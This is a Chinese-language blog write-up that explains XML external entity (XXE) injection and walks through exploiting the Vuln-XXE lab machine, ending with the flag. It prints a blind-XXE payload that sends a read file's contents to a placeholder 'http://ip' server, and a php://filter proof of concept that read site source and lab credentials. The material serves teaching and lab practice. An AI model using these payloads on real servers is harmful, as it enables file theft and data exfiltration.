XML外部实体注入总结(XXE靶机复现)

1.XML外部实体注入原理

 

什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)

  • XML 是一种标记语言,很类似 HTML

  • XML 的设计宗旨是传输数据,而非显示数据

  • XML 标签没有被预定义。您需要自行定义标签

  • XML 被设计为具有自我描述性

  • XML 是 W3C 的推荐标准

XML 外部实体注入的原理

服务端接收并解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入

xml外部实体注入的利用

1,使用file://或php://协议来指定本地文件系统上的资源并使其返回

2,使用http://等协议让服务器通过网络提取资源,泄露敏感信息。

3,执行SSRF类的攻击,通过XML实体注入对内网进行端口,主机等探测

4,通过无期限读取某个文件流,实施拒绝服务攻击

2.无回显XXE利用

无回显XXE指没有数据返回显示的XXE漏洞,那么该如何利用无回显XXE进行数据等泄露。

利用原理:通过外带通道提取数据,先获取目标文件的内容,然后将内容以http请求发送到数据接受的服务器上。

 payload:
  
 <?xml version="1.0"  encoding="UTF-8"?>
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "file///filename">
 <!ENTITY % remote SYSTEM "http://ip/test.xml">
 %remote;
 %send;
 ]>
 ​
  
 数据服务器上xml:
 <!ENTITY % all
 "<!ENTITY %#x25; send SYSTEM "http://ip/test.xml?p=%file;">"
 >
 %all;
2.Vuln-XXE靶机复现

1,通过nmap扫描ip段扫描出存货的主机,发现192.168.179.6为靶机的地址

image-20230716215716438

有两个开放端口80和5355

image-20230716215857971

2,浏览器访问192.168.238.131,访问只存在ununtu的apache2的默认界面

image-20230716220002544

3,再用dirb扫描存在的目录,发现了两个目录

image-20230716220140696

4,访问192.168.179.6/robots.txt,有发现了两个目录,但是admin.php无法访问

image-20230716220336878

5,访问192.168.179.6/xee,出现了登录页面

image-20230716220534426

6,访问靶机的/xxe路径发现存在登录,随便输入账号密码发现页面存在回显,利用burpsuite抓包查看,通过抓包发现是XML数据的提交,利用外部实体注入读取用户的账户文件,确定存在XXE漏洞

POC如下所示:

 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE r [
 <!ELEMENT r ANY >
 <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
 ]>
 <root><name>&admin;</name><password>admin</password></root>

依次将所知道的站点带入:admin.php,xxe.php

xxe.php代入

image-20230716220818956

xxe.php进行base64解码

image-20230716221210118

admin.php代入

image-20230716221332796

admin.php进行base64解码

image-20230716221414348

7,从中发现了上面登录页面所需要的用户名和密码,密码要进行md5解密

用户名:administhebest 密码:admin@123

image-20230716221527884

用账号密码登录成功后发现了一个新的站点

image-20230716221633877

8,再将新发现的站点flagmeout.php代入上面poc,读出新的内容

image-20230716222647351

flagmeout.php进行base64解码

image-20230716221946233

根据返回的内容发现为base32加密,先base32解密

image-20230716222616916

再将解密内容进行base64解码

image-20230716222128224

9,又出来一个新站点/etc/.flag.php,一样代入上面poc,读出新的内容

image-20230716222324821

/etc/.flag.php进行base64解码

image-20230716222407300

解码出来发现一串类似于无字符Webshell构造的PHP内容,复制到PHP上跑一跑,应该需要PHP版本比较低,PHP7以上就跑不出来flag,这里用的是PHP5.6

所以flag是 SAFCSP{xxe_is_so_easy}

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值